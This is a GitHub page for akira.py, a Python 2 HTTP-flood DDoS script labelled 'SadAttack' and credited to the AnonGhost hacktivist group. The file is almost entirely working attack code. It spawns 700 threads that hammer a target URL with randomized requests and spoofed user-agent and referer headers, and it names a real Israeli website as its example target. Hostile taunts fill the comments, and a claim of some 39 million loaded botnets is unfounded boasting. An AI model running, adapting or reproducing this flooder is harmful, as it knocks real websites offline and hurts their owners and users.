forked from H1R0GH057/Anonymous
-
Notifications
You must be signed in to change notification settings - Fork 0
/
akira.py
315 lines (294 loc) · 15.4 KB
/
akira.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
####################################->
#4312644bf54db17180c8a95add9fdc06####-->uauauauauauauau
#9dfb17e500b557a9d985c08da4fd0aaf#####--->We will fuck your site D:
#5afc3c0f68ff47b53b485fcd53e898a9######---->Anonymous :(
#ff46a6b3100d11c29d4233c72f604a10#####--->uauauauauauau
#6e70e3b1bf171ae14505f4f8b0dc4e5a####-->
####################################->
#https://www.youtube.com/watch?v=Aps4ZczffVw#
#Allahu Akbar!#
import urllib2
import sys
import threading
import random
import re
#global params
url='' ###############################
host='' #~~~~Created By Hax Stroke~~~~#
headers_useragents=[] #~~~~~~~~~~@FollowMe~~~~~~~~~~#
headers_referers=[] #fb.com/anonghostsoldierstroke#
request_counter=0 #~~~youtube.com/c/HaXStroKE~~~#
flag=0 #~~~~~Twitter:@HaxStroKE~~~~~~#
safe=0 ###############################
def inc_counter():
global request_counter
request_counter+=45
def set_flag(val):
global flag
flag=val
def set_safe():
global safe
safe=1
# generates a user agent array
def useragent_list():
global headers_useragents
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) BlackHawk/1.0.195.0 Chrome/127.0.0.1 Safari/62439616.534')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (PlayStation 4 1.52) AppleWebKit/536.26 (KHTML, like Gecko)')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0 IceDragon/26.0.0.2')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
return(headers_useragents)
# generates a referer array
def referer_list():
global headers_referers
headers_referers.append('http://www.google.com/?q=') ############################
headers_referers.append('http://www.usatoday.com/search/results?q=') #Pre-configured #
headers_referers.append('http://engadget.search.aol.com/search?q=') #Botnets #
headers_referers.append('http://www.google.com/?q=') #Infected's Websites #
headers_referers.append('http://www.usatoday.com/search/results?q=') #Best's Shells Only #
headers_referers.append('http://engadget.search.aol.com/search?q=') #All uploaded by Hax Stroke#
headers_referers.append('http://www.bing.com/search?q=') #From AnonGhost Team #
headers_referers.append('http://search.yahoo.com/search?p=') ############################
headers_referers.append('http://www.ask.com/web?q=')
headers_referers.append('http://search.lycos.com/web/?q=')
headers_referers.append('http://busca.uol.com.br/web/?q=')
headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
headers_referers.append('http://www.dmoz.org/search/search?q=')
headers_referers.append('http://www.baidu.com.br/s?usm=1&rn=100&wd=')
headers_referers.append('http://yandex.ru/yandsearch?text=')
headers_referers.append('http://www.zhongsou.com/third?w=')
headers_referers.append('http://hksearch.timway.com/search.php?query=')
headers_referers.append('http://find.ezilon.com/search.php?q=')
headers_referers.append('http://www.sogou.com/web?query=')
headers_referers.append('http://api.duckduckgo.com/html/?q=')
headers_referers.append('http://boorow.com/Pages/site_br_aspx?query=')
headers_referers.append('http://validator.w3.org/check?uri=')
headers_referers.append('http://validator.w3.org/checklink?uri=')
headers_referers.append('http://validator.w3.org/unicorn/check?ucn_task=conformance&ucn_uri=')
headers_referers.append('http://validator.w3.org/nu/?doc=')
headers_referers.append('http://validator.w3.org/mobile/check?docAddr=')
headers_referers.append('http://validator.w3.org/p3p/20020128/p3p.pl?uri=')
headers_referers.append('http://www.icap2014.com/cms/sites/all/modules/ckeditor_link/proxy.php?url=')
headers_referers.append('http://www.rssboard.org/rss-validator/check.cgi?url=')
headers_referers.append('http://www2.ogs.state.ny.us/help/urlstatusgo.html?url=')
headers_referers.append('http://prodvigator.bg/redirect.php?url=')
headers_referers.append('http://validator.w3.org/feed/check.cgi?url=')
headers_referers.append('http://www.ccm.edu/redirect/goto.asp?myURL=')
headers_referers.append('http://forum.buffed.de/redirect.php?url=')
headers_referers.append('http://rissa.kommune.no/engine/redirect.php?url=')
headers_referers.append('http://www.sadsong.net/redirect.php?url=')
headers_referers.append('https://www.fvsbank.com/redirect.php?url=')
headers_referers.append('http://www.jerrywho.de/?s=/redirect.php?url=')
headers_referers.append('http://www.inow.co.nz/redirect.php?url=')
headers_referers.append('http://www.automation-drive.com/redirect.php?url=')
headers_referers.append('http://mytinyfile.com/redirect.php?url=')
headers_referers.append('http://ruforum.mt5.com/redirect.php?url=')
headers_referers.append('http://www.websiteperformance.info/redirect.php?url=')
headers_referers.append('http://www.airberlin.com/site/redirect.php?url=')
headers_referers.append('http://www.rpz-ekhn.de/mail2date/ServiceCenter/redirect.php?url=')
headers_referers.append('http://evoec.com/review/redirect.php?url=')
headers_referers.append('http://www.crystalxp.net/redirect.php?url=')
headers_referers.append('http://watchmovies.cba.pl/articles/includes/redirect.php?url=')
headers_referers.append('http://www.seowizard.ir/redirect.php?url=')
headers_referers.append('http://apke.ru/redirect.php?url=')
headers_referers.append('http://seodrum.com/redirect.php?url=')
headers_referers.append('http://redrool.com/redirect.php?url=')
headers_referers.append('http://blog.eduzones.com/redirect.php?url=')
headers_referers.append('http://www.onlineseoreportcard.com/redirect.php?url=')
headers_referers.append('http://www.wickedfire.com/redirect.php?url=')
headers_referers.append('http://searchtoday.info/redirect.php?url=')
headers_referers.append('http://www.bobsoccer.ru/redirect.php?url=')
headers_referers.append('http://newsdiffs.org/article-history/iowaairs.org/redirect.php?url=')
headers_referers.append('http://seo.qalebfa.ir/%D8%B3%D8%A6%D9%88%DA%A9%D8%A7%D8%B1/redirect.php?url=')
headers_referers.append('http://www.firmia.cz/redirect.php?url=')
headers_referers.append('http://www.e39-forum.de/redir.php?url=')
headers_referers.append('http://www.wopus.org/wp-content/themes/begin/inc/go.php?url=')
headers_referers.append('http://www.selectsmart.com/plus/select.php?url=')
headers_referers.append('http://www.taichinh2a.com/forum/links.php?url=')
headers_referers.append('http://facenama.com/go.php?url=')
headers_referers.append('http://www.internet-abc.de/eltern/118732.php?url=')
headers_referers.append('http://g.makebd.com/index.php?url=')
headers_referers.append('https://blog.eduzones.com/redirect.php?url=')
headers_referers.append('http://www.mientay24h.vn/redirector.php?url=')
headers_referers.append('http://www.kapook.com/webout.php?url=')
headers_referers.append('http://lue4.ddns.name/pk/index.php?url=')
headers_referers.append('http://747.ddns.ms/pk/index.php?url=')
headers_referers.append('http://737.ddns.us/pk/index.php?url=')
headers_referers.append('http://a30.m1.4irc.com/pk/index.php?url=')
# generates a Keyword list
def keyword_list():
global keyword_top
keyword_top.append('HaxStroke')
keyword_top.append('Suicide')
keyword_top.append('Sex')
keyword_top.append('Robin Williams')
keyword_top.append('World Cup')
keyword_top.append('Ca Si Le Roi')
keyword_top.append('Ebola')
keyword_top.append('Malaysia Airlines Flight 370')
keyword_top.append('ALS Ice Bucket Challenge')
keyword_top.append('Flappy Bird')
keyword_top.append('Conchita Wurst')
keyword_top.append('ISIS')
keyword_top.append('Frozen')
keyword_top.append('014 Sochi Winter Olympics')
keyword_top.append('IPhone')
keyword_top.append('Samsung Galaxy S5')
keyword_top.append('Nexus 6')
keyword_top.append('Moto G')
keyword_top.append('Samsung Note 4')
keyword_top.append('LG G3')
keyword_top.append('Xbox One')
keyword_top.append('Apple Watch')
keyword_top.append('Nokia X')
keyword_top.append('Ipad Air')
keyword_top.append('Facebook')
keyword_top.append('Anonymous')
keyword_top.append('DJ Bach')
headers_referers.append('http://' + host + '/')
return(headers_referers)
#builds random ascii string
def buildblock(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 160)
out_str += chr(a)
return(out_str)
def usage():
print 'SadAttack Version 2.0 DDoS Tool Created By Hax Stroke and moddified by Akira '
print 'AnonGhost Team Page: http://facebook.com/anonghost.sec'
print 'New loaded Botnets: 39,445,657'
print 'Usage: botnet_akira (url)'
print 'Example: botnet_akira http://luthi.co.il/'
print "\a"
print \
"""
###################
###!!!!!!!!!!!!!!!!!!!####
###!!!!!!!!!!!!!!!!!!!!!!!!!####
##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!###
###!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!###
##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!###
##!!!!!!!!!#####!!!!!!!!!!!#####!!!!!!!!!##
##!!!!!!!!!!######!!!!!!!!!!######!!!!!!!!!##
##!!!!!!!!!!!####!!!!!!!!!!!!####!!!!!!!!!!!##
##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!##
##!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!##
##!!!!!!!!!!!!!!!!!!!!####!!!!!!!!!!!!!!!!!!!!##
##!!!!!!!!!!!!!!!###############!!!!!!!!!!!!!!##
##!!!!!!!!!!!!####!!!!!!!!!!!#####!!!!!!!!!!!##
###!!!!!!!!!###!!!!!!!!!!!!!!!!!!##!!!!!!!!!!##
##!!!!!!!!!#!!!!!!!!!!!!!!!!!!!!!!##!!!!!!!!##
###!!!!!!#!!!!!!!!!!!!!!!!!!!!!!!!##!!!!!!!##
###!!!!!#!!!!!!!!!!!!!!!!!!!!!!!!!##!!!!!##
###!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!##
###!!!!!!!!!!!!!!!!!!!!!HAHA!!WEAREHERE##
###!!!!!!!!!!!!!!Anonymous!Team##
####!!!!!!!!!!!!!SadAttacK###
####!!!!!!!!!!!!!!!!!###
#################
_________________________________________________________________
################## Smoking loud I'm a lonely cloud
#SadBoys 2001 # I'm a lonely cloud, with my windows down
#Yoshi city # I'm a lonely, lonely, I'm a lonely, lonely
#Akira botnet # I'm a lonely, lonely, I'm a lonely, lonely
#Add Sites # I'm a lonely, lonely, I'm a lonely, lonely
################## I'm a lonely, lonely, I'm a lonely, lonely
Music : https://www.youtube.com/watch?v=iX1a3JngmpI
_________________________________________________________________
"""
#http request
def httpcall(url):
useragent_list()
referer_list()
code=0
if url.count("?")>0:
param_joiner="&"
else:
param_joiner="?"
request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
request.add_header('User-Agent', random.choice(headers_useragents))
request.add_header('Cache-Control', 'no-cache')
request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(50,100)))
request.add_header('Keep-Alive', random.randint(110,160))
request.add_header('Connection', 'keep-alive')
request.add_header('Host',host)
try:
urllib2.urlopen(request)
except urllib2.HTTPError, e:
#print e.code
set_flag(1)
print ' '
print '#~~~~~~~> We Are Anonymous <~~~~~~~~#~~~>We Come For Opicarus<~~#'
print '#~~~~~~> Killuminati <~~~~~#~~~~~~~~~>Hello Banks<~~~~~~~~#'
print '#~~~~~~> Freedom <~~~~~~~#~~~~>You R Our Target<~~~~#'
print '#~~~> WATCH THIS <~~~#~~~>DDOS<~~~#'
print ' '
code=500
except urllib2.URLError, e:
#print e.reason
sys.exit()
else:
inc_counter()
urllib2.urlopen(request)
return(code)
#http caller thread
class HTTPThread(threading.Thread):
def run(self):
try:
while flag<2:
code=httpcall(url)
if (code==500) & (safe==1):
set_flag(2)
except Exception, ex:
pass
# monitors http threads and counts requests
class MonitorThread(threading.Thread):
def run(self):
previous=request_counter
while flag==0:
if (previous+150<request_counter) & (previous<>request_counter):
print "#~~~>ATTACK THE INTERNET: %d Sending more<~~~#" % (request_counter)
previous=request_counter
if flag==2:
print "\n ~>Stopping the mass DDoS Attack<~"
#execute
if len(sys.argv) < 2:
usage()
sys.exit()
else:
if sys.argv[1]=="help":
usage()
sys.exit()
else:
print "Starting the Sadness in webserver Sad DDoS Tool"
print "Created By Anonymous"
print "Moddified By Akira"
if len(sys.argv)== 3:
if sys.argv[2]=="safe":
set_safe()
url = sys.argv[1]
if url.count("/")==2:
url = url + "/"
m = re.search('http\://([^/]*)/?.*', url)
host = m.group(1)
for i in range(700):
t = HTTPThread()
t.start()
t = MonitorThread()
t.start()
####################################->
#4312644bf54db17180c8a95add9fdc06####-->uauauauauauauau
#9dfb17e500b557a9d985c08da4fd0aaf#####--->We will fuck your site D:
#5afc3c0f68ff47b53b485fcd53e898a9######---->SadAttack :(
#ff46a6b3100d11c29d4233c72f604a10#####--->uauauauauauau
#6e70e3b1bf171ae14505f4f8b0dc4e5a####-->uRDead
####################################->ANONYMOUS